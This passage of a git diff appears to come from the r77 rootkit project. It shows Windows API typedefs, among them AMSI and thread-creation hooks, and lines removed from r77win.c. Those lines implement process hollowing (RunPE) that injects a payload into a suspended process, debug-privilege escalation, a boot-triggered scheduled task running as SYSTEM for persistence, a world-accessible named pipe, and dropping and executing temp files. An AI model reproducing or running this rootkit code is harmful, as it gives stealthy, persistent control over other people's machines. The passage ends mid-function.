NT_PDH_RAW_COUNTER_ITEM_W, *PNT_PDH_RAW_COUNTER_ITEM_W; + +typedef struct _NT_PDH_FMT_COUNTERVALUE +{ + DWORD Status; + union + { + LONG LongValue; + double DoubleValue; + LONGLONG LargeValue; + LPCSTR AnsiStringValue; + LPCWSTR WideStringValue; + }; +} NT_PDH_FMT_COUNTERVALUE, *PNT_PDH_FMT_COUNTERVALUE; + +typedef struct _NT_PDH_FMT_COUNTERVALUE_ITEM_W +{ + LPWSTR Name; + NT_PDH_FMT_COUNTERVALUE FmtValue; +} NT_PDH_FMT_COUNTERVALUE_ITEM_W, *PNT_PDH_FMT_COUNTERVALUE_ITEM_W; + +typedef NTSTATUS(NTAPI *NT_NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); +typedef NTSTATUS(NTAPI *NT_NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEKEY)(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); +typedef NTSTATUS(NTAPI *NT_NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); +typedef BOOL(WINAPI *NT_ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); +typedef BOOL(WINAPI *NT_ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); +typedef NTSTATUS(NTAPI *NT_NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); +typedef PDH_STATUS(WINAPI *NT_PDHGETCOUNTERINFOW)(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer); +typedef PDH_STATUS(WINAPI *NT_PDHGETRAWCOUNTERARRAYW)(PDH_HCOUNTER counter, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_RAW_COUNTER_ITEM_W itemBuffer); +typedef PDH_STATUS(WINAPI *NT_PDHGETFORMATTEDCOUNTERARRAYW)(PDH_HCOUNTER counter, DWORD format, LPDWORD bufferSize, LPDWORD itemCount, PNT_PDH_FMT_COUNTERVALUE_ITEM_W itemBuffer); +typedef HRESULT(WINAPI *NT_AMSISCANBUFFER)(LPVOID amsiContext, LPVOID buffer, ULONG length, LPCWSTR contentName, LPVOID amsiSession, LPDWORD result); +typedef NTSTATUS(NTAPI *NT_NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +typedef NTSTATUS(NTAPI *NT_NTCREATETHREADEX)(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +typedef NTSTATUS(NTAPI *NT_NTUNMAPVIEWOFSECTION)(HANDLE processHandle, LPVOID baseAddress); +typedef NTSTATUS(NTAPI *NT_RTLGETVERSION)(PRTL_OSVERSIONINFOW versionInformation); +typedef NTSTATUS(NTAPI *NT_RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +typedef NTSTATUS(NTAPI *NT_RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +typedef DWORD(NTAPI *NT_NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); +typedef HMODULE(WINAPI *NT_LOADLIBRARYA)(LPCSTR fileName); +typedef FARPROC(WINAPI *NT_GETPROCADDRESS)(HMODULE module, LPCSTR function); +typedef LPVOID(WINAPI *NT_VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); +typedef BOOL(WINAPI *NT_VIRTUALPROTECT)(LPVOID address, SIZE_T size, DWORD newProtect, PDWORD oldProtect); +typedef BOOL(WINAPI *NT_DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); + #endif \ No newline at end of file diff --git a/r77api/r77win.c b/r77api/r77win.c index e23438b..c7dc8d4 100644 --- a/r77api/r77win.c +++ b/r77api/r77win.c @@ -1,1080 +1,1083 @@ -#include "r77win.h" -#include "ntdll.h" -#include -#include -#include -#include -#include - -BOOL GetRandomBytes(LPVOID buffer, DWORD size) -{ - BOOL result = FALSE; - - HCRYPTPROV cryptProvider; - if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - if (CryptGenRandom(cryptProvider, size, buffer)) - { - result = TRUE; - } - - CryptReleaseContext(cryptProvider, 0); - } - - return result; -} -BOOL GetRandomString(PWCHAR str, DWORD length) -{ - WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - if (GetRandomBytes(str, length * 2)) - { - for (DWORD i = 0; i < length; i++) - { - str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)]; - } - - str[length] = L'\0'; - return TRUE; - } - else - { - return FALSE; - } -} -LPCSTR ConvertStringToAString(LPCWSTR str) -{ - PCHAR result = NULL; - - int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); - if (length > 0) - { - result = NEW_ARRAY(CHAR, length); - if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) - { - FREE(result); - result = NULL; - } - } - - return result; -} -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) -{ - if (str.Buffer) - { - PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1); - i_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); - buffer[str.Length / sizeof(WCHAR)] = L'\0'; - - return buffer; - } - else - { - return NULL; - } -} -VOID Int32ToStrW(LONG value, PWCHAR buffer) -{ - if (value == 0) - { - buffer[0] = L'0'; - buffer[1] = L'\0'; - return; - } - - if (value < 0) - { - *buffer++ = L'-'; - value = -value; - } - - INT length = 0; - for (LONG i = value; i; i /= 10) - { - length++; - } - - for (INT i = 0; i < length; i++) - { - buffer[length - i - 1] = L'0' + value % 10; - value /= 10; - } - - buffer[length] = L'\0'; -} - -BOOL Is64BitOperatingSystem() -{ - BOOL wow64 = FALSE; - return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; -} -BOOL IsAtLeastWindows10() -{ - RTL_OSVERSIONINFOW versionInfo; - versionInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOW); - - // Unlike GetVersionEx, RtlGetVersion returns the actual windows version regardless of executable manifest. - if (NT_SUCCESS(R77_RtlGetVersion(&versionInfo))) - { - return versionInfo.dwMajorVersion >= 10; - } - - return FALSE; -} -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) -{ - BOOL result = FALSE; - - if (Is64BitOperatingSystem()) - { - HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); - if (process) - { - BOOL wow64; - if (IsWow64Process(process, &wow64)) - { - *is64Bit = wow64 ? FALSE : TRUE; - result = TRUE; - } - - CloseHandle(process); - } - } - else - { - *is64Bit = FALSE; - result = TRUE; - } - - return result; -} -LPVOID GetFunction(LPCSTR dll, LPCSTR function) -{ - HMODULE module = GetModuleHandleA(dll); - return module ? (LPVOID)GetProcAddress(module, function) : NULL; -} -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize; - if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); - if (tokenMandatoryLabel) - { - if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) - { - *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); - result = TRUE; - } - - LocalFree(tokenMandatoryLabel); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); - if (process) - { - WCHAR path[MAX_PATH + 1]; - if (GetProcessImageFileNameW(process, path, MAX_PATH)) - { - PWCHAR resultFileName = PathFindFileNameW(path); - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - StrCpyW(fileName, resultFileName); - result = TRUE; - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); - if (process) - { - WCHAR path[MAX_PATH + 1]; - if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) - { - if ((DWORD)lstrlenW(path) <= fileNameLength) - { - StrCpyW(fileName, path); - result = TRUE; - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize = 0; - if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); - if (tokenUser) - { - if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize)) - { - WCHAR domain[256]; - DWORD domainLength = 256; - SID_NAME_USE sidType; - result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); - } - - LocalFree(tokenUser); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL EnabledDebugPrivilege() -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); - if (process) - { - HANDLE token; - if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) - { - LUID luid; - if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) - { - TOKEN_PRIVILEGES tokenPrivileges; - tokenPrivileges.PrivilegeCount = 1; - tokenPrivileges.Privileges[0].Luid = luid; - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) - { - result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; - } - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) -{ - HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); - if (resource) - { - *size = SizeofResource(NULL, resource); - if (*size) - { - HGLOBAL resourceData = LoadResource(NULL, resource); - if (resourceData) - { - *data = (LPBYTE)LockResource(resourceData); - return TRUE; - } - } - } - - return FALSE; -} -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - WCHAR path[MAX_PATH + 1]; - if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4)) - { - PWCHAR resultFileName = &path[4]; - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - StrCpyW(fileName, resultFileName); - result = TRUE; - } - } - - return result; -} -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD fileSize = GetFileSize(file, NULL); - if (fileSize != INVALID_FILE_SIZE) - { - LPBYTE fileData = NEW_ARRAY(BYTE, fileSize); - - DWORD bytesRead; - if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) - { - *data = fileData; - if (size) *size = fileSize; - result = TRUE; - } - else - { - FREE(fileData); - } - } - - CloseHandle(file); - } - - return result; -} -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) -{ - BOOL result = FALSE; - - for (DWORD count = 0; count < length; count++) - { - DWORD bytesRead; - if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) - { - result = FALSE; - break; - } - - if (str[count] == L'\0') - { - result = TRUE; - break; - } - } - - return result; -} -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD bytesWritten; - result = WriteFile(file, data, size, &bytesWritten, NULL); - CloseHandle(file); - } - - return result; -} -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) -{ - BOOL result = FALSE; - WCHAR tempPath[MAX_PATH + 1]; - - if (GetTempPathW(MAX_PATH, tempPath)) - { - WCHAR fileName[MAX_PATH + 1]; - if (GetRandomString(fileName, 8)) - { - StrCatW(fileName, L"."); - StrCatW(fileName, extension); - - if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) - { - result = TRUE; - } - } - } - - return result; -} -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) -{ - BOOL result = FALSE; - - STARTUPINFOW startupInfo; - PROCESS_INFORMATION processInformation; - i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); - i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); - startupInfo.cb = sizeof(startupInfo); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) - { - WaitForSingleObject(processInformation.hProcess, 10000); - CloseHandle(processInformation.hProcess); - CloseHandle(processInformation.hThread); - - result = TRUE; - } - - if (deleteFile) - { - for (int i = 0; i < 10; i++) - { - if (DeleteFileW(path)) break; - Sleep(100); - } - } - - return result; -} -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) -{ - BOOL result = FALSE; - - BSTR nameBstr = SysAllocString(name); - BSTR directoryBstr = SysAllocString(directory); - BSTR fileNameBstr = SysAllocString(fileName); - BSTR argumentsBstr = SysAllocString(arguments); - BSTR folderPathBstr = SysAllocString(L"\\"); - BSTR userIdBstr = SysAllocString(L"SYSTEM"); - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) - { - VARIANT empty; - VariantInit(&empty); - - if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) - { - ITaskDefinition *task = NULL; - if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task))) - { - ITaskSettings *settings = NULL; - if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings))) - { - if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE)) && - SUCCEEDED(settings->lpVtbl->put_DisallowStartIfOnBatteries(settings, VARIANT_FALSE))) - { - ITriggerCollection *triggerCollection = NULL; - if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection))) - { - ITrigger *trigger = NULL; - if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger))) - { - IBootTrigger *bootTrigger = NULL; - if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger))) - { - IActionCollection *actionCollection = NULL; - if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection))) - { - IAction *action = NULL; - if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action))) - { - IExecAction *execAction = NULL; - if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction))) - { - if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) && - SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) && - SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr))) - { - VARIANT password; - VariantInit(&password); - - VARIANT userId; - VariantInit(&userId); - userId.vt = VT_BSTR; - userId.bstrVal = userIdBstr; - - VARIANT sddl; - VariantInit(&sddl); - - IRegisteredTask *registeredTask = NULL; - HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask); - if (SUCCEEDED(hr)) - { - result = TRUE; - - registeredTask->lpVtbl->Release(registeredTask); - } - } - - execAction->lpVtbl->Release(execAction); - } - - action->lpVtbl->Release(action); - } - - actionCollection->lpVtbl->Release(actionCollection); - } - - bootTrigger->lpVtbl->Release(bootTrigger); - } - - trigger->lpVtbl->Release(trigger); - } - - triggerCollection->lpVtbl->Release(triggerCollection); - } - } - - settings->lpVtbl->Release(settings); - } - - task->lpVtbl->Release(task); - } - - folder->lpVtbl->Release(folder); - } - } - - service->lpVtbl->Release(service); - } - } - - CoUninitialize(); - } - - SysFreeString(nameBstr); - SysFreeString(directoryBstr); - SysFreeString(fileNameBstr); - SysFreeString(argumentsBstr); - SysFreeString(folderPathBstr); - SysFreeString(userIdBstr); - - return result; -} -BOOL RunScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - BSTR nameBstr = SysAllocString(name); - BSTR folderPathBstr = SysAllocString(L"\\"); - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) - { - VARIANT empty; - VariantInit(&empty); - - if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) - { - IRegisteredTask *task = NULL; - if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task))) - { - VARIANT params; - VariantInit(¶ms); - - IRunningTask *runningTask = NULL; - if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask))) - { - result = TRUE; - - runningTask->lpVtbl->Release(runningTask); - } - - task->lpVtbl->Release(task); - } - - folder->lpVtbl->Release(folder); - } - } - - service->lpVtbl->Release(service); - } - } - - CoUninitialize(); - } - - SysFreeString(nameBstr); - SysFreeString(folderPathBstr); - - return result; -} -BOOL DeleteScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - BSTR nameBstr = SysAllocString(name); - BSTR folderPathBstr = SysAllocString(L"\\"); - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) - { - VARIANT empty; - VariantInit(&empty); - - if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) - { - if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0))) - { - result = TRUE; - } - - folder->lpVtbl->Release(folder); - } - } - - service->lpVtbl->Release(service); - } - } - - CoUninitialize(); - } - - SysFreeString(nameBstr); - SysFreeString(folderPathBstr); - - return result; -} -HANDLE CreatePublicNamedPipe(LPCWSTR name) -{ - // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. - - SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; - PSID everyoneSid; - if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; - - EXPLICIT_ACCESSW explicitAccess; - i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); - explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; - explicitAccess.grfAccessMode = SET_ACCESS; - explicitAccess.grfInheritance = NO_INHERITANCE; - explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; - explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; - - PACL acl; - if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; - - PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!securityDescriptor || - !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || - !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; - - SECURITY_ATTRIBUTES securityAttributes; - securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); - securityAttributes.lpSecurityDescriptor = securityDescriptor; - securityAttributes.bInheritHandle = FALSE; - - return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); -} - -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - - if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) - { - switch (ntHeaders->OptionalHeader.Magic) - { - case IMAGE_NT_OPTIONAL_HDR32_MAGIC: - *is64Bit = FALSE; - return TRUE; - case IMAGE_NT_OPTIONAL_HDR64_MAGIC: - *is64Bit = TRUE; - return TRUE; - } - } - - return FALSE; -} -BOOL RunPE(LPCWSTR path, LPBYTE payload) -{ - BOOL isPayload64Bit; - if (IsExecutable64Bit(payload, &isPayload64Bit)) - { - if (isPayload64Bit && BITNESS(32)) - { - // Cannot inject 64-bit payload from 32-bit process. - return FALSE; - } - - if (!isPayload64Bit && BITNESS(64) && !IsAtLeastWindows10()) - { - // Wow64 RunPE requires at least Windows 10. - //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7. - return FALSE; - } - } - else - { - return FALSE; - } - - // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. - // This is a workaround to the well known stability issue of process hollowing. - for (DWORD i = 0; i < 5; i++) - { - STARTUPINFOW startupInfo; - PROCESS_INFORMATION processInformation; - i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); - i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); - startupInfo.cb = sizeof(startupInfo); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) - { - if (isPayload64Bit == BITNESS(64)) - { - // Payload bitness matches current process bitness - - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); - R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase); - - LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) - { - DWORD oldProtect; - if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect)) - { - BOOL sectionsWritten = TRUE; - PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders); - for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) - { - if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL)) - { - sectionsWritten = FALSE; - break; - } - - if (!VirtualProtectEx( - processInformation.hProcess, - (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, - j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress, - SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics), - &oldProtect)) - { - sectionsWritten = FALSE; - break; - } - } - - if (sectionsWritten) - { - LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); - if (context) - { - context->ContextFlags = CONTEXT_FULL; - - if (GetThreadContext(processInformation.hThread, context)) - { -#ifdef _WIN64 - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL)) - { - context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#else - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL)) - { - context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#endif - } - } - } - } - } - } - else - { - // Spawn 32-bit process from this 64-bit process. - - PIMAGE_NT_HEADERS32 ntHeaders = 